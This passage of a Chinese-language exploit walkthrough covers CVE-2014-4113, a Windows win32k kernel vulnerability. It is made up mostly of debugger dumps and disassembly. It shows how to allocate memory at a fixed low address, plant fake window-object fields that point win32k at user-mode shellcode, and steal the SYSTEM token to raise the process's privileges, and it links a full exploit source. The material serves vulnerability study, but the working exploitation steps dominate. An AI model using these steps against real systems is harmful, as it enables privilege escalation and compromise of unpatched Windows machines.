   +0x028 bSendEraseBackground : Pos 9, 1 Bit
   +0x028 bEraseBackground : Pos 10, 1 Bit
   +0x028 bSendNCPaint     : Pos 11, 1 Bit
   +0x028 bInternalPaint   : Pos 12, 1 Bit
   +0x028 bUpdateDirty     : Pos 13, 1 Bit
   +0x028 bHiddenPopup     : Pos 14, 1 Bit
   +0x028 bForceMenuDraw   : Pos 15, 1 Bit
   +0x028 bDialogWindow    : Pos 16, 1 Bit
   +0x028 bHasCreatestructName : Pos 17, 1 Bit
   +0x028 bServerSideWindowProc : Pos 18, 1 Bit  <----- 0x0`FFFFFFFB + 0x28 + 2 == 00000001`00000025
   ................................
   +0x090 lpfnWndProc      : Ptr64        int64  <----- 0x0`FFFFFFFB + 0x90 == 00000001`0000008b

可以看到,在上面的poc中,引发BSOD正是因为在比较pti时,由于内存异常访问引发的

win32k!xxxSendMessageTimeout+0x136:
fffff960`0010a46a 483b5510        cmp     rdx,qword ptr [rbp+10h] ss:0018:00000001`0000000b=????????????????

现在,为了利用这个漏洞,需要通过 ntdll 模块中导出的 NtAllocateVirtualMemory 函数先申请 0x00000000FFFFFFFB 位置的内存,并且设置以下地址的数据:
00000001`0000000b == pti
pti 可以通过TEB结构获取,x64下用户层中,gs:[0x30] 指向TEB

kd> dt _teb
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : Ptr64 Void
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : Ptr64 Void
   +0x058 ThreadLocalStoragePointer : Ptr64 Void
   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB
   +0x068 LastErrorValue   : Uint4B
   +0x06c CountOfOwnedCriticalSections : Uint4B
   +0x070 CsrClientThread  : Ptr64 Void
   +0x078 Win32ThreadInfo  : Ptr64 Void         <------ pti
   +0x080 User32Reserved   : [26] Uint4B
   +0x0e8 UserReserved     : [5] Uint4B

00000001`00000025 == 00000100B == 04H
bServerSideWindowProc标志位,表示tagwnd对象的窗口过程能否运行在内核中,这里是固定的就可以了

00000001`0000008b == shellcode地址
关于shellcode 这里就简单的使用system token替换的方式给当前进程提升权限,主要步骤包括:
a.得到当前进程的 EPROCESS 对象(x64下,gs指向kpcr),参考函数 PsGetCurrentProcess

kd> u PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff800`028afbd0 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff800`028afbd9 488b4070        mov     rax,qword ptr [rax+70h]
fffff800`028afbdd c3              ret

b.从 ActiveProcessLinks 中找到进程id是4的system进程.
c.将system进程的token替换到当前进程

更新代码后,运行程序,鼠标放在第一个菜单窗口,当第二个窗口弹出来后,点击窗口,最终由win32k模块直接执行shellcode:

win32k!xxxSendMessageTimeout+0x26f:
fffff960`0016a5a3 ff9590000000    call    qword ptr [rbp+90h] ss:0018:00000001`0000008b=00000000ffff0000
kd> u poi(rbp+90)
00000000`ffff0000 65488b142588010000 mov   rdx,qword ptr gs:[188h]
00000000`ffff0009 4c8b4270        mov     r8,qword ptr [rdx+70h]
00000000`ffff000d 4d8b8888010000  mov     r9,qword ptr [r8+188h]
00000000`ffff0014 498b09          mov     rcx,qword ptr [r9]
00000000`ffff0017 488b51f8        mov     rdx,qword ptr [rcx-8]
00000000`ffff001b 4883fa04        cmp     rdx,4
00000000`ffff001f 7405            je      00000000`ffff0026
00000000`ffff0021 488b09          mov     rcx,qword ptr [rcx]

exploit : https://github.com/B2AHEX/cveXXXX/blob/master/CVE-2014-4113/exploit.cpp